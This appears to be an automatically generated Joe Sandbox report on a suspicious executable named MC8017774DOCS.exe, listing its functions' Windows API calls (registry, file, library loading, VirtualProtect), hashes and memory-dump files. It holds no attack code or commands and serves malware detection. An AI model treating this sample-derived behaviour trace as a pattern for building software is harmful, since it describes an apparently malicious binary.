Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 9fca805e47e3346da069bb4f6cfd40e8b298e1ce21a0c1b748eae4cc8240b298
Instruction ID: ad238ad36cd120687bb67b63ab2e0cf39ea52a9db7c0428984e644ee49cb5b09
Opcode Fuzzy Hash: 9fca805e47e3346da069bb4f6cfd40e8b298e1ce21a0c1b748eae4cc8240b298
Instruction Fuzzy Hash: 04513CB1908614AFDB20DFE4D985B9B777DEF96358F204829E40497290EB38D8829F91

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction ID: 1ba22ac92ecf447665b3913d31df39b0814a7bcf15a964c104b9173a467dca89
Opcode Fuzzy Hash: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction Fuzzy Hash: 2A119431910205EBDB14DFA4CA585AE77B4FF44348F20843FE445B72C0D6B85A41EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction ID: 2a828f8333626ea4f8ae47897e76cf54d119540c9549312051f7543085d76b41
Opcode Fuzzy Hash: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction Fuzzy Hash: 9101D132624210ABE7095B789D04B6A3698E751315F10C63BB851F66F1DA7C8C429B4D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction ID: ed958cdb0af940290ad8e224458c39a91d35accb7d2f19645d781aa9a2f92111
Opcode Fuzzy Hash: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction Fuzzy Hash: ECE01A72E082008FE764ABA5AA495AD77B4EB91325B20847FE211F11D1DE7858418F6A

Function 00406671 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

Part of subcall function 00406601: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
Part of subcall function 00406601: wsprintfW.USER32 ref: 00406653
Part of subcall function 00406601: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction ID: f8cbec149f8048a337a195de8e089d72e19c2715f3a6386891d9cbb614a09016
Opcode Fuzzy Hash: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction Fuzzy Hash: D3E08C326042116AD7119A709E4497B66AC9A89740307883EFD46F2181EB3A9C31AAAD

Function 00405D8D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\MC8017774DOCS.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405D68 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,0040596D,?,?,00000000,00405B43,?,?,?,?), ref: 00405D6D
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D81

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 56b75d8f9ca2641e27e40e0bc5846bc1deeaaca66535f557d4a9eea11918b9db
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 39D01272504421AFC2512738EF0C89BBF95DF543717128B35FEE9A22F0CB314C568A98

Function 0040584B Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040335F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 00405851
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 0040585F

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 569726fefb5a692a208b00f3c4627a0038051db83374957b12f20e82e1ac62f2
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 97C08C71211501DAC7002F318F08B073A50AB20340F15883DA64AE00E0CA308024D92D

Function 00406132 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 0040615B

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 5f0451bdd463ed866e2305ac1dfee878cc5b4d333075ebda4e05e47d22d2a603
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 6BE0E672110109BEDF099F50DD0AD7B371DE704304F01452EFA06D5051E6B5AD305674

Function 00405E10 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403321,00000000,00000000,00403168,?,00000004,00000000,00000000,00000000), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 994fac52afecd872c6575aa209eb3fbbfd601c2a51b89c6ee9ed5d101180f43c
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 93E08C3220525AABCF109F51CC04EEB3B6CEB04360F000832FD98E2040D230EA219BE4

Function 00405E3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032D7,000000FF,0078B6D8,?,0078B6D8,?,?,00000004,00000000), ref: 00405E53

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 720248cc98aac2988b2abacb793a2dea5f933c74ab6652834825bf215bbdf934
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 72E08C3220025AABCF109F60DC00AEB3B6CFB007E0F048432F951E3040D230EA208FE4

Function 6E9B2997 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6E9B405C,00000004,00000040,6E9B404C), ref: 6E9B29B5

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f51089a927739ee14f809b9afe7efb43db5c52e4e5d1e1b89f963fa4639d743b
Instruction ID: 6815c4b3cfd69bebb5255feb492b5917dcdc54d2a4cd20089854c40591412a88
Opcode Fuzzy Hash: f51089a927739ee14f809b9afe7efb43db5c52e4e5d1e1b89f963fa4639d743b
Instruction Fuzzy Hash: 33F092F1D1CA80DECB50CFA884847173BF0EF5A304B11452AE1A8DA240F374884AEF11

Function 00406104 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F00,?,?,00406192,007A0F00,00000000,?,?,Call,?), ref: 00406128

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 68c61e8d1810f1ea9cab55705828a401d3ebcdae1eadef42580152fd7570d6fd
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 4BD0123204020EBBDF11AE909D01FAB3B1DEB08350F014826FE06A80A2D776D530AB54

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

